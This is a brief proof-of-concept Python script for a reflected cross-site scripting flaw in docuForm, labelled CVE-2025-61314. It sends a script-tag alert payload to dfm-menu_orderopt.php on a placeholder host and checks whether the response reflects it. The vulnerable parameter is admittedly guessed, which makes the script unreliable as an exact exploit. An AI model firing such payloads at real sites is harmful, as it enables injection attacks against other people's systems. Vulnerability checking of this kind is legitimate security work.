CVE-2025-61314 docuForm反射型XSS漏洞

# PoC Code for CVE-2025-61314 import requests def check_xss(target_url): # Constructing the malicious payload payload = "<script>alert('CVE-2025-61314-XSS')</script>" # The vulnerable parameter is inferred based on the description inject_point = "dfm-menu_orderopt.php" full_url = f"{target_url}/{inject_point}?vulnerable_param={payload}" try: response = requests.get(full_url) if payload in response.text: return "[+] Vulnerability Confirmed: Payload reflected in response." else: return "[-] Vulnerability not detected or payload filtered." except Exception as e: return f"[!] Error occurred: {e}" if __name__ == "__main__": target = "http://target-host" print(check_xss(target))